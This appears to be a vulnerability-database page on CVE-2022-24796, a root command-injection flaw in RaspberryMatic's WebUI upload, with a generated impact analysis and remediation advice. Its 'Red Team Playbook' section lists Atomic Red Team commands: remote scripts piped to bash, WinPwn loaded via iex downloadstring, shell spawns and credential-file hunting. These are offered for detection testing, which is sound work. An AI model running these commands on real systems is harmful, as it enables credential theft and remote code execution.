CVE-2022-24796
Overview
This vulnerability is a command injection flaw caused by insufficient input validation and sanitization in the file upload mechanism of the RaspberryMatic WebUI interface. Specifically, the HTTP query string parameters processed by the file upload facility fail to properly filter shell metacharacters, enabling injection of arbitrary OS commands. The affected component is the WebUI file upload functionality in RaspberryMatic versions after 2.31.25.20180428 and before 3.63.8.20220330.
Vulnerability Description
RaspberryMatic is a free and open-source operating system for running a cloud-free smart-home using the homematicIP / HomeMatic hardware line of IoT devices. A Remote Code Execution (RCE) vulnerability in the file upload facility of the WebUI interface of RaspberryMatic exists. Missing input validation/sanitization in the file upload mechanism allows remote, unauthenticated attackers with network access to the WebUI interface to achieve arbitrary operating system command execution via shell metacharacters in the HTTP query string. Injected commands are executed as root, thus leading to a full compromise of the underlying system and all its components. Versions after `2.31.25.20180428` and prior to `3.63.8.20220330` are affected. Users are advised to update to version `3.63.8.20220330` or newer. There are currently no known workarounds to mitigate the security impact and users are advised to update to the latest version available.
Impact
An unauthenticated remote attacker with network access to the RaspberryMatic WebUI can execute arbitrary commands as root, leading to complete system compromise, including control over all IoT devices managed by the platform. No user interaction or authentication is required, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. This enables attackers to disrupt smart-home operations, exfiltrate sensitive data, or pivot within the network.
Solution
Users must upgrade RaspberryMatic to version 3.63.8.20220330 or later, as recommended in the official GitHub security advisory (GHSA-g7vv-7rmf-mff7). The patch commit 34854659a63e9fb3ad529bb413e96978c6450a53 resolves the input validation issue in the file upload mechanism. No known workarounds exist; therefore, timely application of the vendor-provided update is the only effective remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the file upload mechanism of the WebUI interface for RaspberryMatic stems from inadequate input validation and sanitization. This flaw allows an attacker to exploit the file upload feature by injecting malicious commands through the HTTP query string. When these commands are executed, they run with root privileges, granting the attacker full control over the underlying operating system. The lack of stringent checks on the input data means that attackers can leverage shell metacharacters to manipulate command execution, leading to arbitrary code execution. This vulnerability primarily affects versions of RaspberryMatic released between `2.31.25.20180428` and `3.63.8.20220330`, making it critical for users operating within this range to take immediate action.
Attack vectors for this vulnerability are particularly concerning due to the remote and unauthenticated nature of the exploit. An attacker with network access to the WebUI can initiate an attack without needing to authenticate, significantly broadening the potential threat landscape. Exploitation scenarios may include an attacker scanning for vulnerable devices within a network, subsequently targeting those that expose the WebUI. Once access is gained, the attacker can execute arbitrary commands, potentially leading to the installation of malware, data exfiltration, or the transformation of the compromised device into a botnet participant. The ease of exploitation, combined with the high privileges associated with the executed commands, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, particularly for users relying on RaspberryMatic for smart home automation. A successful exploit could lead to unauthorized access to sensitive data, manipulation of connected devices, or even the complete takeover of the smart home environment. For businesses that utilize RaspberryMatic in their operations, the consequences could extend beyond immediate data loss to include reputational damage, regulatory fines, and operational disruptions. The potential for an attacker to gain control over critical infrastructure components, such as security systems or energy management devices, raises significant business risks that cannot be overlooked.
Detection and mitigation strategies for this vulnerability are crucial for maintaining the security of affected systems. Users should prioritize updating to the latest version of RaspberryMatic, specifically version `3.63.8.20220330` or newer, as this version addresses the identified flaw. Regularly monitoring for software updates and applying patches promptly is essential in mitigating risks associated with vulnerabilities. Additionally, implementing network segmentation can help limit exposure to the WebUI interface, reducing the attack surface. Employing intrusion detection systems (IDS) can also assist in identifying unusual patterns of behavior indicative of exploitation attempts, allowing for timely response and remediation.
In conclusion, the vulnerability in the file upload facility of RaspberryMatic presents a significant threat to both individual users and businesses. The combination of remote code execution capabilities and the ease of exploitation underscores the need for immediate action from affected users. By understanding the technical details, potential attack vectors, and real-world implications, stakeholders can better prepare themselves to defend against such threats. Proactive measures, including timely updates and enhanced security practices, are essential to safeguarding smart home environments and mitigating the risks associated with this vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Raspberrymatic | Raspberrymatic | All |
cpe:2.3:o:raspberrymatic:raspberrymatic:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24796 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/jens-maus/RaspberryMatic/security/advisories/GHSA-g7vv-7rmf-mff7 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/jens-maus/RaspberryMatic/commit/34854659a63e9fb3ad529bb413e96978c6450a53 |